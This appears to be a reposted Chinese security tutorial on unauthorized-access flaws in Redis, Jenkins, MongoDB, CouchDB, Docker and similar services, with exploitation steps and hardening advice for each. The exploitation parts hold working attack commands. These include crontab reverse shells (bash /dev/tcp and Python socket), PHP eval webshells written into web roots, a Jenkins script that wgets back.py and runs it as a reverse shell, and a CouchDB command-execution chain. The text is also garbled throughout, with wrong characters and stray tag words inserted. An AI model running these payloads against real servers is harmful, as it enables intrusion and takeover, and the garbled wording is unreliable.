未受权访问漏洞总结

前言

今年5月,比特币勒索病毒WannaCry席卷全球,国内众多机构部门计算机系统瘫痪。根据以前应急响应的案例分析,以及一些安全报告统计,目前大部分的勒索病毒均利用未受权访问等通用漏洞进行植入、勒索,尤为是Redis、MongoDB等数据库的未受权访问漏洞尤为严重。参见《【脉搏译文系列】如何高效的应对勒索软件》
php

ransomware123

0x01 介绍

未受权访问能够理解为须要安全配置或权限认证的地址、受权页面存在缺陷,致使其余用户能够直接访问,从而引起重要权限可被操做、数据库、网站目录等敏感信息泄露。 html

目前主要存在未受权访问漏洞的有:NFS服务,Samba服务,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo等,本文主要介绍一些目前比较经常使用的一些服务的未受权访问,欢迎你们补充! java

maibo

0x02 Redis未受权访问

2.1 漏洞描述

Redis因配置不当能够未受权访问。攻击者无需认证访问到内部数据,可致使敏感信息泄露,也能够恶意执行flushall来清空全部数据。若是Redis以root身份运行,能够给root帐户写入SSH公钥文件,直接经过SSH登陆受害服务器。 node

2.2 漏洞利用

一、利用计划任务执行命令反弹shell python

在redis以root权限运行时能够写crontab来执行命令反弹shell
先在本身的服务器上监听一个端口 nginx

nc -lvnp 4444 git

而后执行命令: github

redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save web

redis-11

二、写ssh-keygen公钥登陆服务器 redis

在如下条件下,能够利用此方法

  • 一、Redis服务使用root帐号启动
  • 二、服务器开放了SSH服务,并且容许使用密钥登陆,便可远程写入一个公钥,直接登陆远程服务器。

此方法具体参考:redis配置不当可直接致使服务器被控制

三、获取web服务的webshell

当redis权限不高时,而且服务器开着web服务,在redis有web目录写权限时,能够尝试往web路径写webshell。
执行如下命令

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save

便可将shell写入web目录

redis-5

2.3 漏洞加固

能够配置redis.conf这个文件,在安装目录下

  • 一、默认只对本地开放
    bind 127.0.0.1
  • 二、添加登录密码
    requirepass www.secpulse.com
  • 三、在须要对外开放的时候修改默认端口
    port 2333
  • 四、最后还能够配合iptables限制开放

0x03 Jenkins未受权访问

3.1 漏洞描述

默认状况下Jenkins面板中用户能够选择执行脚本界面来操做一些系统层命令,攻击者可经过未受权访问漏洞或者暴力破解用户密码等进脚本执行界面从而获取服务器权限。

3.2 漏洞利用

一、Jenkins未受权访问可执行命令

http://www.secpulse.com:8080/manage
http://www.secpulse.com:8080/script
jenkins-1

 

println "ifconfig -a".execute().text 执行一些系统命令
jenkins-2
直接wget下载back.py反弹shell

println "wget http://xxx.secpulse.com/tools/back.py -P /tmp/".execute().text
println "python /tmp/back.py 10.1.1.111 8080".execute().text

back.py并不须要root权限
jenkins-3

 

不想反弹试试Terminal Plugin
jenkins-4

二、Jenkins未受权访问写shell

jenskins是java web项目,咱们用java的File类写文件

new File("c://temp//secpulse.txt").write("""
1
2
3
""");

新建一个内容为1,2,3(每一行)的1.txt到c盘的temp文件夹,运行以下命令println “powershell dir c:\temp”.execute().text若是写成功,那么secpulse.txt就会在返回结果中!

wget写webshell

1. println "wget http://shell.secpulse.com/data/t.txt -o /var/www/html/secpulse.php".execute().text
2. new File("/var/www/html/secpulse.php").write('<?php @eval($_POST[s3cpu1se]);?>');
3. def webshell = '<?php @eval($_POST[s3cpu1se]);?>'
new File("/var/www/html/secpulse.php").write("$webshell");
4. def execute(cmd) {
def proc = cmd.execute()
proc.waitFor()
}
execute( [ 'bash', '-c', 'echo -n "<?php @eval($" > /usr/local/nginx_1119/html/secpulse.php' ] )
execute( [ 'bash', '-c', 'echo "_POST[s3cpu1se]);?>" >> /usr/local/nginx_1119/html/secpulse.php' ] )
//参数-n 不要在最后自动换行

jenkins-5
Result: 0 表示成功写入
Result: 1 表示目录不存在或者权限不足 写入失败
Result: 2 表示构造有异常 写入失败

具体其余详细利用方法参考:知其一不知其二之Jenkins Hacking

3.3 漏洞加固

  • 一、禁止把Jenkins直接暴露在公网
  • 二、添加认证,设置强密码复杂度及帐号锁定。

0x04 MongoDB未受权访问

4.1 漏洞描述

开启MongoDB服务时不添加任何参数时,默认是没有权限验证的,并且能够远程访问数据库,登陆的用户能够经过默认端口无需密码对数据库进行增、删、改、查等任意高危操做。

4.2 漏洞利用

mongodb-1

4.3 漏洞加固

一、为MongoDB添加认证:
1)MongoDB启动时添加--auth参数
2)给MongoDB添加用户:
use admin #使用admin库
db.addUser("root", "123456") #添加用户名root密码123456的用户
db.auth("root","123456") #验证下是否添加成功,返回1说明成功
二、禁用HTTP和REST端口
MongoDB自身带有一个HTTP服务和并支持REST接口。在2.6之后这些接口默认是关闭的。mongoDB默认会使用默认端口监听web服务,通常不须要经过web方式进行远程管理,建议禁用。修改配置文件或在启动的时候选择–nohttpinterface 参数nohttpinterface=false
三、限制绑定IP
启动时加入参数
--bind_ip 127.0.0.1
或在/etc/mongodb.conf文件中添加如下内容:
bind_ip = 127.0.0.1

0x05 ZooKeeper未受权访问

5.1 漏洞描述

Zookeeper的默认开放端口是2181。Zookeeper安装部署以后默认状况下不须要任何身份验证,形成攻击者能够远程利用Zookeeper,经过服务器收集敏感信息或者在Zookeeper集群内进行破坏(好比:kill命令)。攻击者可以执行全部只容许由管理员运行的命令。

5.2 漏洞利用

执行如下命令便可远程获取该服务器的环境:
echo envi | nc ip port

zookeeper-1
直接链接:
./zkCli.sh -server ip:port

zookeeper-2

5.3 漏洞加固

  • 一、禁止把Zookeeper直接暴露在公网
  • 二、添加访问控制,根据状况选择对应方式(认证用户,用户名密码)
  • 三、绑定指定IP访问

0x06 Elasticsearch未受权访问

6.1 漏洞描述

Elasticsearch是一款java编写的企业级搜索服务。愈来愈多的公司使用ELK做为日志分析,启动此服务默认会开放9200端口,可被非法操做数据

6.2 漏洞利用

漏洞检测:默认端口9200
至关于一个API,任何人访问这个地址,就能够调用api,进行数据的增删改操做。
http://x.x.x.x:9200/_nodes

http://x.x.x.x:9200/_river

elasticsearch-1

6.3 漏洞加固

  • 一、防火墙上设置禁止外网访问9200端口。
  • 二、使用Nginx搭建反向代理,经过配置Nginx实现对Elasticsearch的认证
  • 三、限制IP访问,绑定固定IP
  • 四、在config/elasticsearch.yml中为9200端口设置认证:

http.basic.enabled true #开关,开启会接管所有HTTP链接
http.basic.user "admin" #帐号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

 

0x07 Memcache未受权访问

7.1 漏洞描述

Memcached是一套经常使用的key-value缓存系统,因为它自己没有权限控制模块,因此对公网开放的Memcache服务很容易被攻击者扫描发现,攻击者经过命令交互可直接读取Memcached中的敏感信息。

7.2 漏洞利用

一、登陆机器执行netstat -an |more命令查看端口监听状况。回显0.0.0.0:11211表示在全部网卡进行监听,存在memcached未受权访问漏洞。

二、telnet <target> 11211,或nc -vv <target> 11211,提示链接成功表示漏洞存在

memcached-2

7.3 漏洞加固

  • 一、设置memchached只容许本地访问
  • 二、禁止外网访问Memcached 11211端口
  • 三、编译时加上–enable-sasl,启用SASL认证

0x08 Hadoop未受权访问

8.1 漏洞描述

因为服务器直接在开放了Hadoop机器HDFS的50070 web端口及部分默认服务端口,黑客能够经过命令行操做多个目录下的数据,如进行删除,下载,目录浏览甚至命令执行等操做,产生极大的危害。

8.2 漏洞利用

主要HDFS和MapReduce的WebUI对应的服务端口。

Hadoop-1

其中比较重要的是DataNode 默认端口50075开放的话,攻击者能够经过hdsf提供的restful api对hdfs存储数据进行操做。

restful api参考:http://hadoop.apache.org/docs/r1.0.4/webhdfs.html

8.3 漏洞加固

  • 一、如无必要,关闭Hadoop Web管理页面
  • 二、开启身份验证,防止未经受权用户访问
  • 三、设置“安全组”访问控制策略,将Hadoop默认开放的多个端口对公网所有禁止或限制可信任的IP地址才能访问包括50070以及WebUI等相关端口,详细端口列表以下:

a)HDFS

NameNode 默认端口 50070

DataNode 默认端口 50075

httpfs 默认端口14000

journalnode 默认端口 8480

b)YARN(JobTracker)

ResourceManager 默认端口8088

JobTracker 默认端口 50030

TaskTracker 默认端口 50060

c)Hue 默认端口 8080

d)YARN(JobTracker)

master 默认端口 60010

regionserver 默认端口60030

e)hive-server2 默认端口 10000

f)spark-jdbcserver 默认端口 10003

0x09CouchDB未受权访问

9.1 漏洞描述

CouchDB默认在5984端口开放Restful的API接口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,并且绑定在0.0.0.0,全部用户都可经过API访问致使未受权访问。任何链接到服务器端口上的人,均可以调用相关API对服务器上的数据进行任意的增删改查,其中经过API修改local.ini配置文件,可进一步致使执行任意系统命令,获取服务器权限!

9.2 漏洞利用

couchdb-7

新增query_server配置,这里执行ifconfig命令

curl -X PUT 'http://x.x.x.x:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6666"'
新建一个临时表,插入一条记录

couchdb-1

 

curl -X PUT 'http://x.x.x.x:5984/vultest'

couchdb-2
curl -X PUT 'http://x.x.x.x:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
调用query_server处理数据

couchdb-3

curl -X POST 'http://x.x.x.x:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type: application/json'

couchdb-4

固然你也能够直接执行其余命令,下载个其余什么的

couchdb-5 couchdb-6

9.3 漏洞加固

一、指定CouchDB绑定的IP (须要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改成 127.0.0.1 ,而后保存。注:修改后只有本机才能访问CouchDB。

二、设置访问密码 (须要重启CouchDB才能生效) 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码

0x010 Docker未受权访问

10.1 漏洞描述

Docker Remote API是一个取代远程命令行界面(rcli)的REST API。经过 docker client 或者 http 直接请求就能够访问这个 API,经过这个接口,咱们能够新建 container,删除已有 container,甚至是获取宿主机的 shell

10.2 漏洞利用

http://192.168.198.130:2375/v1.25/images/json
能够获取到全部的 images 列表

http://host:2375/containers/json

会返回服务器当前运行的 container列表,和在docker CLI上执行 docker ps 的效果同样,过Post包咱们还能够新建、开启和关闭容器,其余操做好比拉取image等操做也均可以经过API调用完成。

$ curl http://10.10.10.10:2375/containers/json
[]

docker -H=tcp://10.10.10.10:2375 ps         
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

Docker remote Api未受权访问的攻击原理与以前的Redis未受权访问漏洞大同小异,都是经过向运行该应用的服务器写文件,从而拿到服务器的权限,常见的利用方法以下:

一、启动一个容器,挂载宿主机的/root/目录,以后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,以后就能够用root帐户直接登陆了

二、启动一个容器,挂载宿主机的/etc/目录,以后将反弹shell的脚本写入到/etc/crontab中,攻击者会获得一个反弹的shell,其中反弹shell脚本的样例以下:

echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

第2种利用方法也能够挂载var/spool/cron/目录,将反弹shell的脚本写入到/var/spool/cron/root(centos系统)或/var/spool/cron/crontabs/root(ubuntu系统)

10.3 漏洞加固

一、在没必要需的状况下,不要启用docker的remote api服务,若是必须使用的话,能够采用以下的加固方式:

  • 设置ACL,仅容许信任的来源IP链接;
  • 设置TLS认证,官方的文档为Protect the Docker daemon socket

二、客户端链接时须要设置如下环境变量export DOCKER_TLS_VERIFY=1

export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

三、在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证

 

附:Python未受权访问脚本

unauthor_access-1unauthor_access-2

此脚本未作测试,请根据自身需求,修改测试使用!

参考文章

  • https://www.secpulse.com/archives/55928.html
  • https://www.secpulse.com/archives/49115.html
  • https://www.secpulse.com/archives/6540.html
  • https://xianzhi.aliyun.com/forum/mobile/read/750.html
  • https://book.thief.one/webying-yong-lou-dong/136-elasticsearchwei-shou-quan-fang-wen-lou-dong.html
  • https://www.secpulse.com/archives/2166.html
  • https://github.com/findys/sunburst/
  • https://yeasy.gitbooks.io/docker_practice/

 

【本文做者:安识科技w2n1ck ,来源安全脉搏

转载自:http://www.52bug.cn/%E9%BB%91%E5%AE%A2%E6%8A%80%E6%9C%AF/3905.html

相关文章
相关标签/搜索